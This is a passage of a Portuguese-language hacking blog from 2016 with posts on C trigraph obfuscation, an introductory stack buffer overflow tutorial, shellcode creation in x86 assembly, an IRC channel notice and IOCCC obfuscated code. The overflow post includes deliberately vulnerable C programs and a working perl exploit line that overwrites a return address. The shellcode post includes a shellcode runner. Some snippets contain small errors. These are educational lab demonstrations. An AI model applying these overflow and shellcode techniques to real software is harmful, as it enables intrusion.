quarta-feira, 26 de outubro de 2016

2

Ofuscação de código C #1 : Trígrafos



                                  Ofuscação de código C #1 : Trígrafos


Eae pessoal ! tudo na paz ? bom faz alguns dias que eu não posto nada no blog ... bom primeiro quero me desculpar por isso , bom eu não vou enrrolar muito , creio que muitos aqui não vieram para ler a introdução disso aqui ... então vamos direto ao assunto ! Esse é um recurso interessante para se utilizar na ofuscação de código ( observem que eu digo interessante e não que recomendo... ) isso pode confundir muito a leitura do código e cabe a você decidir se vai utilizar e como vai utilizar...

OBS : Esse post foi destinado a usuários linux, porem usuários do windows , bsd , mac e etc... podem adaptar esse post para seus respectivos sistemas operacionais!

PS: É necessário um conhecimento básico de programação C para o entendimento desse post ... tambem se faz necessário ter instalado o gcc na sua maquina ...

Trígrafos ...

Bem , em muitos países , com diferentes linguas , as vezes o tipo de teclado utilizado não contem alguns caracteres importantes para se programar em C , e então foi criado os "Trígrafos" , que são nada mais que simbulos que simbolizam cada um desses caracters...

Aqui abaixo vai uma lista de trígrafos para diferentes caracters, cada um equivale a um caracter ... "??/" equivale ao caracter "\" por exemplo !


------------------------------------------------------------------

??= = #
??/   = \
??'   = ^ 
??(   = [
??)   = ]
??!   = |
??<  = {
??>  = }
??-    = ~

------------------------------------------------------------------

Bom, mas isso hoje em dia já é inutil , tanto que o gcc já não deixou o uso de trígrafos por default ... para usar trígrafos no seu programa , terá que utilizar o parametro "--trigraphs" no gcc ...

Para que vou utilizar isso então ? Simples ! para "bagunçar" o código !!!

Veja o seguinte exemplo de um programa comun e um utilizando trígrafos...

<--code

/*
 * Nome do programa : trigrafos.c
 * Para compilar use : gcc trigrafos.c -o trigrafos --trigraphs
 */
#include <stdio.h>

void main(void){

char buffer[20] = "Ola mundo-unix";
printf("%s\n",buffer);

}

-->code

Bom , um programa simples não ??

Vamos ver como ele fica utilizando trígrafos agora...

<--code

/*
 * Nome do programa : trigrafos.c
 * Para compilar use : gcc trigrafos.c -o trigrafos --trigraphs
 */

#include <stdio.h>





void main(void)??<
char buffer??(20??)="Ola mundo-unix";
printf("%s??/n",buffer);
??>

-->code

Meio confuso haha ... bom se vocês olharem a lista de trígrafos que eu passei acima vera que estamos apenas substituindo caracteres pelos trígrafos equivalentes , não tem nada de mais !!

Isso é uma idéia de como você poderia ofuscar seu programa , mas existe várias outras formas :)

Aliás , vamos ver outro exemplo utilizando trígrafos! mas dessa vez mais simples ainda !

Nem vamos colocar códigos , apenas a parte que queremos analizar !


Digamos que a gente tenha o seguinte código "if(1==1 || 2==2){exit(0);}" , dê uma olhada como ficaria utilizando trígrafos ...
"if(1==1 ??!??! 2==2)??<exit(0);??>"

Isso confunde muito a cabeça então usem com cuidado !

Bom pessoal não vou enrrolar muito , era básicamente isso que queria trazer para vocês ... vou tentar postar outra coisa ainda hoje ... veremos...

Notou algo errado ou incorreto nesse post ? Nos informe >  Aqui!

Até um outro post galera !!!


Read More

domingo, 23 de outubro de 2016

3

Mundo-unix & Extreme Fall - Parceria ...

                                 Mundo-unix & Extreme Fall - Parceria ...

PS : Primeiramente desculpem por passar alguns dias OFF sem postar nada ... vou voltar na ativa agora ... aliás VAMOS na verdade ... pois tera alguns manos agora que viram pra mundo-unix ... e tambem me refiro a vocês , pois sem vocês caros leitores ,esse blog não teria sentido ^^

Aqui a gente não é Dragon Ball mas vai fazer uma fusão, Mundo Unix e Extreme Fall vão virar parceiros, a Extreme Fall é uma página/grupo de politica e sabe se la mais o que, com o objetivo de compartilhar conhecimento e como aqui no blog esse tbm e o objetivo...

[ Introdução by S4n1... ]

Bom pessoal ... pretendo avisar sempre com antecedencia quanto tera posts lá na pagina , então se você é do tipo que tem facebook e curte o blog recomendo que curta a pagina e fique ligado ...

( Aliás se quiserem manter contato comigo a pagina é o lugar certo tambem...  )

Link da pagina : https://www.facebook.com/ExtremeFallBrasil/

Achou algo incorreto ? Nós informe Aqui!
Read More

quinta-feira, 20 de outubro de 2016

CyberSecurity 2 - Introdução a buffer overflows


/* Um código que funciona nem sempre é um bom código , essa é a essencia da falta de segurança hoje em dia ... */

Hello !!! sou eu de novo hahaha, bom eu não podia ficar mais um dia sem postar absolutamente coisa nenhuma hehe ... bom ... esse post não vai te deixar nenhum "expert" no assunto ... é apenas algumas idéias ... enfim... bora lá :)

PS : Os códigos descritos nesse post foram testados no sistema operacional linux, caso você utilize windows recomendo que faça os testes em uma VM ( virtual machine ) é necessario ter o gcc e objdump na sua maquina ...

Começando ... o'que é basicamente um buffer overflow ? em meias palavras é basicamente quando um espaço reservado na memoria excede o seu tamanho maximo ... esse transbordamento de dados pode subscrever a memoria , corromper dados proximos, travando/crashando a aplicação ou até mesmo tomando controle do programa vulneravel...

Como isso funciona ? bom ... esse tipo de vulnerabilidade ocorre quando o programador pega algum parametro vindo do usuário e o coloca dentro de um vetor, sem antes checar o tamanho do parametro...

Antes de continuarmos há uma coisas que quero ensinar a vocês ( é bom guardarem essa info com vocês , pode ser util quando forem programar )

Uma string geralmente , tem 1 caracter a mais doque parece ...

Por exemplo : ola

A palavra "ola" tem 3 letras , porem na verdade ela ocupa 4 posições na memoria , em um vetor tambem :)

Mas qual caracter é esse ? é o "\0" indica o final da string...
Vamos chama-lo de "byte nulo" ...

Então na verdade a palavra "ola" na memoria , fica representada da seguinte forma !

Exemplo : ola\0

Apesar desse "\0" conter "2 caracters" o '\' e o '\0' ele é visto como um caracter unico :)

Agora

Vamos a um exemplo , basico dos basicos :)

<--code
/*
 * Program name : bug.c
 */

#include <stdio.h>
#include <string.h>

void main(int argc,char *argv[]){

buffer [4];
strcpy(buffer,argv[1]);

}
-->code

Agora vamos atacar o programa , inserindo mais dados doque ele pode suportar...

$ gcc exploit.c -o exploit
$ ./exploit AAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação (imagem do núcleo gravada)
$

Você vai ter mais ou menos essa resposta ... isso é a indicação de que o overflow ocorreu :)

Com isso você você ja consegue travar a aplicação ( ja pensou você descobrir isso em um chat ou um game online ? seria massa não ? existem algumas )

Bom , você acha isso inutil ??? vamos a um exemplo doque isso pode fazer ... vamos "hackear" um programo alvo nosso , acessando uma area que nós não deveriamos ter acesso ...

Código exemplo abaixo :

<--code

/*
 * Program name : bug.c
 */

#include <stdio.h>
#include <string.h>

void main(int argc,char *argv[]){
char buffer[4];
int adm = 0;
strcpy(buffer,argv[1]);
printf("Voce esta logado como user!\n");

if( adm != 0 ){
printf("Voce esta logado como admin!\n");
}

}

-->code

Vamos compilar :)

$ gcc bug.c -o bug

Bom o'que precisamos ter em mente agora ... bem a mensagem "Voce esta logado como admin" normalmente nunca seria exibida, porque a condição if diz que somente se a variavel adm for diferente de 0, as instruções dentro do bloco if serão executadas !

Teoricamente isso seria impossivel de acontecer , mas vamos entrar no espirito da coisa e tentar "invadir" essa váriavel e subscrever o conteudo dentro dela.

Primeiramente vamos executa-la normalmente...

$ ./bug AAAA
Voce esta logado como user!
$

Ok , até aqui nada de errado ... vamos para a parte interessante agora!

$ ./bug AAAAAAAAAAAAAAAAAAAAAAAAAAA
Voce esta logado como user!
Voce esta logado como admin!
Falha de segmentação (imagem do núcleo gravada)
$

Perceberam que ele exibiu a mensagem "Voce esta logado como admin!" ?
Bom , se isso fosse um sistema de login o programa ja estaria completamente f0d1d0 ... por isso que vale lembrar , um código que funciona não é um bom código :)


O'que exatamente aconteceu ??? digamos que na memoria ram , cada coisa é separada , cada programo é executado no seu espaço de memoria ... isso tambem se aplica as váriaveis dos programas...

Bom, pense na memoria ram como um vetor... por exemplo...

int memoria_ram[10] = {1,2,3,4,5,6,7,8,9,10};

digamos que a memoria possa armazenar apenas 10 bytes , logo ela teria 10 posições ... a memoria pode ser vista assim , como um grande vetor :)

Quando você sobrepoe mais dados doque um vetor na memoria pode alocar o'que acontece ? bem esse dados não somem ! eles devem ir pra algum lugar ... bom eles vão !

Eles passam para diferentes posições na memoria :)
No nósso caso nossos "A" foram para a posição de memoria aonde estava o valor 0 da váriavel adm... logo o conteudo da variavel adm que era 0 passa a ser 0x41 que é o valor hexadecimal do nósso caracter "A" maiusculo :)

Interessante não ? bom ... os buffer overflows ( ou buffer overruns como queiram chamar ) são bem amplos e vão muito alem doque esse pequeno artigo fala ...

Bom , vamos a um outro exemplo... vamos executar uma função "oculta" no programa apartir de um overflow...

<--code
/*
 * Name Program : bug.c
 */

#include <stdio.h>

void funcaosecreta()
{
    printf("Parabens , voce me achou! \n");
}

void overflow()
{
    char buffer[20];

    printf("digite algo : ");
    scanf("%s", buffer);
    printf("voce digitou: %s\n", buffer);
}

int main(void)
{
    overflow();

    return 0;
}

-->code

Bom , primeiramente vamos compilar !
Vamos utilizar um parametro -fno-stack-protector tambem , para desativar algumas "proteções" da memoria...

$ gcc bug.c -o bug -fno-stack-protector
$ ./bug
digite algo : aaaaaaaaaaaaaaaaaaaaaaaaaa
voce digitou: aaaaaaaaaaaaaaaaaaaaaaaaaa
$

Bom , executou normalmente ... Primeiramente o'que temos que fazer pra executar a função que nós queremos que no caso é "funcaosecreta" , bem primeiramente precisamos pegar o endereço dela ... e montar uma expecie de "shellcode" rsrs ( não é um shellcode ) ...

Para isso vamos utilizar o objdump ...

Exemplo abaixo:

$ objdump -d bug

Eu vou colocar em print aqui o resultado disso , pois é enorme !






A parte que nós interessa é essa :

0804846b <funcaosecreta>:

Porque ? porque "0804846b" é o endereço da "função secreta ! :)

Temos que por isso em forma de shellcode ! de traz pra frente ( lembra ? ) por causa do esquema de LIFO da pilha ...

no caso fica ...

"\x6b\x84\x04\x08"

Bom , agora precisamos entender algo quando uma instrução ou chamada é executada , um registrador chamado eip guarda o endereço de retorno ... que é o endereço da proxima instrução a ser executada !

Temos tambem o registrador ebp que guarda o endereço do topo da pilha...

Quando chamamos a função "funcaosecreta" no nósso código , estamos passando o endereço dela para o eip e estamos passando o controle a ela, apartir dae serão executadas todas as intruções descritas na função "funcaosecreta" :)

O buffer nos reserva 28 bytes para o nósso vetor , apesar de termos pedido apenas 20 ... somando 28 posições ...

Os proximos 4 bytes são reservados ao ebp ... os proximos 4 bytes ao nósso maldito eip hehehe

Então basta enchurrar o vetor de 20 bytes com 32 bytes ( 28+4 = 32 assim subscrevemos ebp e colocamos os proximos 4 bytes em eip que sera o endereço da função que ele ira chamar )

Vamos testar isso ! use a linha de comando abaixo !


$ perl -e 'print "a"x32 . "\x6b\x84\x04\x08"' | ./bug
digite algo : voce digitou: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak�
Parabens , voce me achou!
Falha de segmentação (imagem do núcleo gravada)
$

Haha , conseguimos :) exploitamos o programa e jogamos o controle dele para a função "funcaosecreta" ... agora você continua achando essa vulnerabilidade inutil ? bom poderiamos injetar um shellcode na memoria e executa-lo , criar uma conexão reversa no programa vulneravel e hackear a rede ... mas enfim...

Vou deixar isso pra outro post , esse foi apenas para demonstrar algumas idéias...

Achou algo incorreto ? Nós informe Aqui!

Espero que tenham curtido o post :)
Read More

Canal irc da mundo-unix


                                         Canal irc da mundo-unix

 Bom pra quem nos visita aqui na mundo-unix todo dia , talvez tenha notado que agora no menu acima no botão "Irc" a pagina do blog ao qual ele te redireciona, contem um chat irc... bom , eu coloquei esse chat irc , pois achei que seria bacama o pessoal poder tirar alguma duvida ou conversar aqui pelo blog... mas enfim ...

 Agora que eu ja expliquei algumas coisas ... bem , caso você não curta muito ter que ficar entrando aqui no blog para acessar o irc da mundo-unix, você pode utilizar um client irc para terminal om uma interface de ncurses...
O nome do client é irssi .

Para instalar esse client irc basta utilizar os comandos abaixo , dependendo da sua distribuição...

Ubuntu : sudo apt-get install irssi
Arch/Manjaro : sudo pacman -S irssi

Bom... como utiliza-lo ?

Os parametros deles são os básicos...

Para conectar a uma rede irc:
/connect irc.rede.dominio
ex: /connect irc.lightirc.com

Para conectar a um canal irc:
/join #canal
ex: /join #mundo-unix

Para alterar nick:
/nick nick-a-ser-escolhido
ex: /join gh0st

Não vou ficar explicando tudo que é parametro dele , pois isso é default em qualquer rede irc...

Para ver outros comandos basta digitar /help

Dados da rede da mundo-unix:

servidor : irc.lightirc.com
porta: 6667
canal : #mundo-unix

É isso pessoal... só vim mesmo apresentar essa mudança digamos assim...

Sei que eu deixei de postar conteudo ontem ... peço desculpas , se alguem estava esperando algum post , estou meio ocupado essa semana ...
Hoje sai um post lá pelas 8 a 9 horas talvez :)

Até o proximo post :)
Read More

segunda-feira, 17 de outubro de 2016

5

CyberSecurity 1 -Criação de Shellcode/payload


                         CyberSecurity 1 -Criação de Shellcode/payload

/*
 * Obrigado a todos que estiveram comigo até aqui.
 * S4n1 , X , Isc0rp10n , Kiritorange1920, Zod, Detr0id, Gohan, Cybermeme ...
 */

Booom , novamente se alguem acompanha esse blog ja viu que eu fiquei uns 2-3 dias sem postar nada ... motivo ? pura preguiça ( sorry ... ) bom ... eu decidi fazer esse post pra auxiliar em um futuro , que vocês teram que saber isso...

Então gravem essa bagaça nas suas grandes mentes ok ??!

OBS : Um conhecimento básico de assembly e C se faz necessário para o entendimento desse post ! Todo o conteudo apresentado aqui foi focado para usuários LINUX , é preciso ter o gcc e nasm instalado, caso você use windows msm sabendo que esse post é para usuários do linux, putss recomendo que você instale o "cygwin" pra auxiliar "na hora da prática"...

PS : Esse post não irá te ensinar a programar ... verifique se você contem os atributos citados no "OBS" acima !

É quase 1 da manhã e eu to escrevendo isso , mas foda-se!



--------------------------------------------------------------------------------


Agora vamos ao post ... primeiramente o'que é shellcode ( ou payload ) ...

Shellcode uma ordem de opcodes ( código de maquina ) em hexadecimal da arquitetura alvo 32/64 bits por exemplo , utilizados muito na exploração de vulnerabilidades de overflow/overruns para a execução de determinada tarefa ... pelo própio nome SHELLcode já diz que o objetivo principal disso ( ao menos a principio ) era abrir uma shell...

Tambem pode ser usado para outros fíns ... ae vai da sua imaginação!

--------------------------------------------------------------------------------

O'que vocês teram que ter em mente ? shellcode é basicamente o código de maquina que vocês iram pegar para injetar em um programa vulneravel a buffer overflow por exemplo ( existem outros tipos de overflows ) ...


--------------------------------------------------------------------------------

Agora que vocês sabem o'que é shellcode teram que saber algo... o maldito assembly ( temido por muitos haha ) ao menos um básico por favor ... bom ... levando em conta que você sabe ao menos um basico em assembly , vamos criar um programa na linguagem que apenas executa um exit e vamos gerar o shellcode desse mesmo programa !

Source abaixo :

<--code

section .data
section .text
global _start
mov eax,0x1
mov ebx,0x0
int 0x80

-->code

Bom , vocês ja sabem o'que isso faz ... vamos pular as explicações pra isso aqui não ficar muito grande ... se quiserem eu faço algo mais detalhado depois...

Temos o código o'que fazemos agora ? compilamos ora bolas !


$ nasm -f elf32 exploit.s
$ ld exploit.o -o exploit


Agora ja ta tudo feito ... como gerar o shellcode desse programa ? simples, vamos utilizar um recurso do linux chamado "objdump" ...

Basta digitarmos na linha de comando ...

$ objdump -d exploit

E você tera esse resultado :


exploit:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:    b8 01 00 00 00           mov    $0x1,%eax
 8048065:    bb 00 00 00 00           mov    $0x0,%ebx
 804806a:    cd 80                          int    $0x80

Bugou sua mente ??? bom ... vamos extrair o shellcode agora ...
Mas aonde ele ta ????

Alí ... são aqueles numeros em hexa ... b8 01 00 00 00 e por ae vai... só temos q copiar tudo isso na seguinte sintaxe ...

\xNUMERO

No nósso caso ...

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"

Pronto , shellcode montado ? facil não ... mas calma ... não pare de ler isso ainda !


Vamos montar agora em C um exploit que execute esse treco...

Código abaixo ...

 <--code
/* Nome do programa : shell.c */
/* Coloque o shellcode dentro da variavel shellcode[]  */

char shellcode[] =  "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80";
int main(void){
int (*f)() = (int(*)())shellcode;
f();
}
-->code

Nósso primeiro Shellcode !!!!!!



Pronto , agora basta compilar essa bagaça ...

$ gcc shell.c -o shell
$ ./shell
$

Agora se você compilou e executou viu que não aconteceu nada !
Porque ? Simples ... é isso que ele faz .. nada ! só fecha !


Saindo agora desse esquema vazio , vamos montar algo vísivel...
Vamos montar um programa que imprima algo na tela

<--code

;
; Nome do programa : exploit.s
;

section .data
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
push ebx
push 0x78696e75
push 0x2d6f646e
push 0x756d2061
push 0x6c6f
mov al,0x4
mov ecx,esp
mov bl,0x1
mov dx,16
int 0x80

mov al,0x1
mov bl,0x0
int 0x80


-->code

Vamos por partes agora ... porque essa "complexidade" no codigo ? bom , primeiramente ... porque o codigo mudou tanto ?

Bom , percebeu que no seu antigo shellcode continha alguns \x00 ? bom isso são os malditos "bytes nulos" ... bom eu não vou ficar falando muito disso, porque quero que dessa vez o post seja pequeno , o'que você tem que saber é , essa merda vai queimar seu shellcode ...

Precisamos retirar essa porcaria ... como faz ???

Primeiro , precisamos zerar o registrador ... utilizaremos a função xor pra isso!

No caso zeramos todos os registradores 32bits que normalmente iriamos usar.

xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

Agora utilizamos push ebx

Para por na pilha o valor \0 que representa nulo ... isso é utilizado para expecificar o fim da string ...


push 0x78696e75
push 0x2d6f646e
push 0x756d2061
push 0x6c6f

Isso na verdade é a string convertida para os valores dos caracters que formão "Ola mundo-unix"... esses valores estão em hexadecimal como podem ver...

no caso isso ae separado fica...

0x78 0x69 0x6e 0x75
0x2d 0x6f 0x65 0x6e
0x6c 0x6f

Porque eu não coloquei toda a string "Ola mundo-unix" de uma unica vez na pilha ? porque não posso passar valores muito grandes pela função push ... então dividi ela por partes...

Junte tudo isso ae e cole num conversor de hexa pra ascii !

A mensagem "Ola mundo-unix" está de traz pra frente ! por causa do esquema de LIFO da pilha !

Ou seja, tu tem que escrever de traz pra frente na pilha , porq o ultimo dado colocado na pilha é o primeiro a sair ... ( parece confuso não ? )


--------------------------------------------------------------------------------

Bom depois disso precisamos mover nossos dados para areas baixas dos registradores ( os bits menos significativos ) ...

no caso todos os registradores que iremos usar, tem suas "partes menores"...

No caso do eax é o AX e do ax são o AL e AH ...

AL = Low
AH = Hight

Bom ae você ja consegue decorar a parte menor e maior ... nós iremos usar a menor , no caso AL ...

Iremos usar as partes menores de todos os registradores gerais basicos menos o CX ou ECX...

AX = AL
BX = BL
DX = DL

Bom , tendo isso em mente ( use apenas as partes menores dos registradores ... )

o resto do código é simples de se explicar ...

mov al,0x4
mov ecx,esp
mov bl,0x1
mov dx,16
int 0x80

mov al,0x1
mov bl,0x0
int 0x80

 --------------------------------------------------------------------------------

isso ae é como nós fizemos no post que eu fiz sobre assembly para i386... a conversão disso ae pra quele post fica ...

mov eax,0x4
mov ecx,esp
mov ebx,0x1
mov edx,16
int 0x80

mov eax,0x1
mov ebx,0x0
int 0x80

Mas e o mov ecx,esp ? O'que diabos isso faz ?

Simples ... se lembra nóssa mensagem na pilha ?

Se fossemos retira-la utilizando a função pop

Iriamos por somente o ultimo caracter em ecx , pois essa função tira apenas 1 caracter da pilha ... o ultimo no caso ...

o registrado ESP , aponta para a base da pilha ... ta ae o nome ESP ( Stack pointer )

Bom ... fingimos que todo o conteudo da pilha fica dentro do registrador stack ... então nossa string "Ola mundo-unix" ta dentro de esp certo ? então é isso !

Movemos essa bagaça pro ECX hehehe !

E assim a mágica acontece !

Simples não ???

Agora vamos compilar esse treco todo...

$ nasm -f elf32 exploit.s
$ ld exploit.o -o exploit
$ ./exploit
Ola mundo-unix$

Bom , como não ouve uma quebra de linha na string ...

Bom , logo agora vamos montar o shellcode disso ae e montar um hello world em shellcode hahaha


$ objdump -d exploit


exploit:     file format elf32-i386

Disassembly of section .text:
08048060 <_start>:
 8048060:    31 c0                    xor    %eax,%eax
 8048062:    31 db                    xor    %ebx,%ebx
 8048064:    31 c9                    xor    %ecx,%ecx
 8048066:    31 d2                    xor    %edx,%edx
 8048068:    53                       push   %ebx
 8048069:    68 75 6e 69 78           push   $0x78696e75
 804806e:    68 6e 64 6f 2d           push   $0x2d6f646e
 8048073:    68 61 20 6d 75           push   $0x756d2061
 8048078:    68 6f 6c 00 00           push   $0x6c6f
 804807d:    b0 04                    mov    $0x4,%al
 804807f:    89 e1                    mov    %esp,%ecx
 8048081:    b3 01                    mov    $0x1,%bl
 8048083:    66 ba 10 00              mov    $0x10,%dx
 8048087:    cd 80                    int    $0x80
 8048089:    b0 01                    mov    $0x1,%al
 804808b:    b3 00                    mov    $0x0,%bl
 804808d:    cd 80                    int    $0x80

 --------------------------------------------------------------------------------

Como percebeu , praticamente sumiram aquela cambada de 00 do shellcode ...

Tem 1 ou outro , mas ae é byte nulo da nóssa própia string :)

Vai ser cansativo montar esse treco ... mas vamos la...

Vamos aquele basico código em C pra executar nósso shellcode.

<--code

/* Nome do programa : shell.c */
/* Coloque o shellcode dentro da variavel shellcode[]  */

char shellcode[] =  "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x53\x68\x75\x6e\x69\x78\x68\x6e\x64\x6f\x2d\x68\x61\x20\x6d\x75\x68\x6f\x6c\x00\x00\xb0\x04\x89\xe1\xb3\x01\x66\xba\x10\x00\xcd\x80\xb0\x01\xb3\x00\xcd\x80";
int main(void){
int (*f)() = (int(*)())shellcode;
f();
}

-->code

Agora só compilar e executar ...

$ gcc shell.c -o shell
$ ./shell
Ola mundo-unix$

Bom , executou normalmente hehehe...

Não tem erros ... bom ... isso serve para qualquer código ...

Basta criar algo em assembly e dumpar os opcodes ... se lembre tambem de ritar os bytes nulos !

Vou ficando por aqui , não quero aprofundar o post tanto nisso , isso é mais uma humilde introdução ao assunto !

Notou algo errado ou incorreto nesse post ? Nos informe > Aqui!

Vou ficando por aqui ! Até um proximo post !
Read More

sexta-feira, 14 de outubro de 2016

4

IOCCC - International Obfuscated C Code Contest






Falae pessoal , dessa vez eu não vim aqui explicar algo e sim mostrar algo que eu até uns tempos não conhecia e achei que seria legal trazer esse tipo de conteudo aqui, ainda mais para quem curte programar em C ( como eu ) ... ah ... talvez saiam mais 2 posts hoje ... não é certeza , mas tenho idéia de fazer outros 2 ainda hoje ...

PS : Pretendo fazer outro post sobre isso outra hora !

( Bom , eu sei que talvez tenham alguns aqui que estavam esperando que esse post fosse a segunda parte do post anterior sobre assembly e sei que a alguns devem estár reagindo mais ou menos assim ... sorry )



( Mas fiquem calmos, quem curte programar pelo menos vai gostar talvez =p )

Bom , primeiramente o'que é ioccc ( International Obfuscated C Code Contest ) IOCC é uma competição que premia os autores dos códigos mais ilegíveis possivel ( Mas claro , o programa deve funcionar corretamente ) !

( Ou é conhecida por alguns apenas por "Ofuscação de código", ja lhe passou essa idéia na cabeça ? ofuscar seu código para que ninguem o edita-se ou retira-se seus créditos ? creio que tecnicas de ioccc te ajudem nisso se você for programador em C )

PS : O código que eu apresentei no final ( feito por mim ) é apenas um exemplo para quem quer se aprofundar no assunto ( e no final do post vou deixar um PDF sobre o assunto )

Site oficial : http://www.ioccc.org/

Algumas regras dessa competição ...

1 ) Você deve entrar com um programa completo ( que tenha alguma utilidade tambem ) ...

2 ) O source-code do seu programa não pode passar de 4096 bytes de comprimento ... isso inclui espaços em branco, tabs, quebras de linha, caracters especiais e dentre outras coisas !

3 ) O seu programa , tanto o source-code tanto o executavel devem ter apenas permissões de leitura ...

Bom , vai seguindo por ae ... você pode checar a lista completa dessas regras no link abaixo :

http://www.ioccc.org/2004/rules

Essa competição pode ser vista em vários sentidos ... o principal é mostrar o poder que tem a linguagem C e como você pode fazer as mesmas coisas de milhares de formas diferentes ... aproveitando até algumas caracteristicas da linguagem ....

Vamos a alguns exemplos de códigos IOCCC ( os códigos asseguir não são de minha autoria ) ...

Começando por um clássico hello world hahaha

1)
<--code

#include "stdio.h"
#define e 3
#define g (e/e)
#define h ((g+e)/2)
#define f (e-g-h)
#define j (e*e-g)
#define k (j-h)
#define l(x) tab2[x]/h
#define m(n,a) ((n&(a))==(a))

long tab1[]={ 989L,5L,26L,0L,88319L,123L,0L,9367L };
int tab2[]={ 4,6,10,14,22,26,34,38,46,58,62,74,82,86 };

main(m1,s) char *s; {
    int a,b,c,d,o[k],n=(int)s;
    if(m1==1){ char b[2*j+f-g]; main(l(h+e)+h+e,b); printf(b); }
    else switch(m1-=h){
        case f:
            a=(b=(c=(d=g)<<g)<<g)<<g;
            return(m(n,a|c)|m(n,b)|m(n,a|d)|m(n,c|d));
        case h:
            for(a=f;a<j;++a)if(tab1[a]&&!(tab1[a]%((long)l(n))))return(a);
        case g:
            if(n<h)return(g);
            if(n<j){n-=g;c='D';o[f]=h;o[g]=f;}
            else{c='\r'-'\b';n-=j-g;o[f]=o[g]=g;}
            if((b=n)>=e)for(b=g<<g;b<n;++b)o[b]=o[b-h]+o[b-g]+c;
            return(o[b-g]%n+k-h);
        default:
            if(m1-=e) main(m1-g+e+h,s+g); else *(s+g)=f;
            for(*s=a=f;a<e;) *s=(*s<<e)|main(h+a++,(char *)m1);
        }
}


-->code



Eae embaralhou sua cabeça ? Se sim , essa era a inteção =p


Quem quiser testar o código é só compilar normalmente com o gcc mesmo ( se você utiliza ele )

$ gcc ioccc.c -o ioccc

Esse proximo faz uma animação na tela cujo vou colocar um gif abaixo mostrando !

<--code

  1. //
  2. k;double sin()
  3. ,cos();main(){float A=
  4. 0,B=0,i,j,z[1760];char b[
  5. 1760];printf("\x1b[2J");for(;;
  6. ){memset(b,32,1760);memset(z,0,7040)
  7. ;for(j=0;6.28>j;j+=0.07)for(i=0;6.28
  8. >i;i+=0.02){float c=sin(i),d=cos(j),e=
  9. sin(A),f=sin(j),g=cos(A),h=d+2,D=1/(c*
  10. h*e+f*g+5),l=cos (i),m=cos(B),n=s\
  11. in(B),t=c*h*g-f* e;int x=40+30*D*
  12. (l*h*m-t*n),y= 12+15*D*(l*h*n
  13. +t*m),o=x+80*y, N=8*((f*e-c*d*g
  14. )*m-c*d*e-f*g-l *d*n);if(22>y&&
  15. y>0&&x>0&&80>x&&D>z[o]){z[o]=D;;;b[o]=
  16. ".,-~:;=!*#$@"[N>0?N:0];}}/*#****!!-*/
  17. printf("\x1b[H");for(k=0;1761>k;k++)
  18. putchar(k%80?b[k]:10);A+=0.04;B+=
  19. 0.02;}}/*****####*******!!=;:~
  20. ~::==!!!**********!!!==::-
  21. .,~~;;;========;;;:~-.
  22. ..,--------,*/
  23.  
-->code

Saida:




Incrivel não ? Calma , tem outro ! ( Esse faz um desenho no terminal , cujo vocês veram print logo abaixo )




<--code

#include<stdio.h> 
main() 
{ 
int i,l,u; 
char *ilu="STILL THINKING HOW I DID IT? 
!r/g.g#i.g/g!j/g.g#i.g/g+g!q0g!mag/h(g!m]g+g!p<g!h`i!l`g!k`g!h 
<g+g!p}g!i}g!i}g!h0g!g]g}g!g}h`g!h}g+g!p<g!h`g}g`g!h}g`h]g`g0g} 
g0g!g}g`g!h<g+g!q]g!n`g!o0g+g!r]g`h!g]g`g0h!g]g}g!g}g!j0g+g!n`g! 
i0g!h}g!g}g!g]g`g0g]g`g0g!h0g(g+g!m}g!g]g!h]g0g`g0g]g!n0g(g+g!m]g 
`g]g}g!g0g!g`h!gag]g!j0g(g+g!p]g0g`g0g`h]g!hag]g0g(g!k/g.h>g(g0g 
g]g+g!i`j-g`h0g`h-g`k-g`l*g0g!i0g|gg~i+g!i.g-g.k-g.h]g.h-g.k- 
g.i-g]g(g.g(g!g|hg~h+g!q`h0g]g`g!r(g.h>g/g]g~g0g+g!p0g`g0g!g 
}g]h+g!u]g0g"; 
for(i=28;l=ilu[i++];) 
for(u=(*(ilu+++i)-((1<<6)+(1<<5)+(1<<2)+(1<<1)));u--;) 
putchar(!((l-11)^(1<<5))?l-1-(1<<5):l-1);
}
-->code


Saida:




Foda né ? tem outros ...

Site cujo retirei esses exemplos : https://www.quora.com/What-is-the-most-obfuscated-C-code-you-have-ever-seen

Agora pra não ficar apenas um CTRL+C de códigos de IOCC eu resolvi tentar fazer o meu código própio ( que ficou bem BÁSICO ;-; ) com o mesmo contexto do primeiro código que eu passei ... apresentar um hello world ...

Como o código é de minha autoria eu vou explicar linha por linha para quem estiver curioso ...

<--code

#include <stdio.h>
void main(){int y,i[14]={0x48,0x65,0x6c,0x6c,0x6f,0x20,0x1,0x77,
0x6f,0x6c,0x72,0x64,0xA};
for(y=0;y<=13;y++)printf("%c",i[y]);}

-->code

Buguei mais ainda você ? kkk calma ... esse código é infantil se visto por outros olhos ... bom vamos começar pela biblioteca stdio ...

STDIO significa standard library input output ...

Ela é usada para você poder utilizar funções de entrada e saida de dados , no nosso caso é o "printf" 

Bom , seguindo ... void main() eu não sei se preciso explicar ... utilizei void apenas para economizar código ( e porque eu não gosto de ficar botando return 0; no final de cada código ) ... bom o void indica que uma função não irá retornar nada , no caso dispensa o uso do return 0;

Agora pulamos para "int y,i[15]={0x48,0x65,0x6c,0x6c,0x6f,0x20,0x1,
0x77,0x6f,0x6c,0x72,0x64,0xA};"

Parece complicado não ? rsrs
Mas não é =p

Primeiramente vemos que estamos declarando uma variavel de tipo int e um vetor de tipo int ... o'que são esses códigos hexadecimal dentro do vetor ?

São numeros da tabela ascii ... para quem não sabe , cada caracter existente é numerado na tela ascii , desde espaços em branco , quebras de linha , tabs, acentos e por ae vai ... cada caracter tem um numero é basicamente isso kkk

E se você pega um desses numeros , por exemplo 97 que é o valor do "a" minusculo ... e converte esse valor inteiro pra caracter , vera que ele ira te retornar o caracter "a"  ( avaaa ) ... como no código a seguir ...

<--code

#include <stdio.h>
int numero = 97;
printf("%c \n",numero);

-->code

Basta compilar e testar ae :)

Bom , tendo isso em mente , agora partiremos para o'que são os códigos hexadecimais do vetor i ... para quem ja se perdeu estamos falando do código abaixo ...


"int y,i[15]={0x48,0x65,0x6c,0x6c,0x6f,0x20,0x1,
